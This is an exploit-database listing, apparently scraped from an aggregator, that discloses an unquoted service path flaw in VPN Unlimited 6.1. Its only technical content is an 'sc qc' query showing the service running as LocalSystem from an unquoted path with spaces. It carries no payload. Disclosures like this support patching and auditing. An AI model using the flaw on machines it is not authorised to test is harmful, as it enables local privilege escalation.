Exploit for VPN unlimited 6.1 - Unquoted Service Path Vulnerability

Name: Exploit for VPN unlimited 6.1 - Unquoted Service Path Vulnerability
Rating: 5 (38 reviews)

2020-01-13 | CVSS 0.4

## https://sploitus.com/exploit?id=1337DAY-ID-33809
# Exploit Title: VPN unlimited 6.1 - Unquoted Service Path
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.vpnunlimitedapp.com
# Version: 6.1
# Tested on: Windows 10 64bit

C:\Users\Amin>sc qc VPNUnlimitedService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VPNUnlimitedService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\VPN
Unlimited\vpn-unlimited-daemon.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VPN Unlimited Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem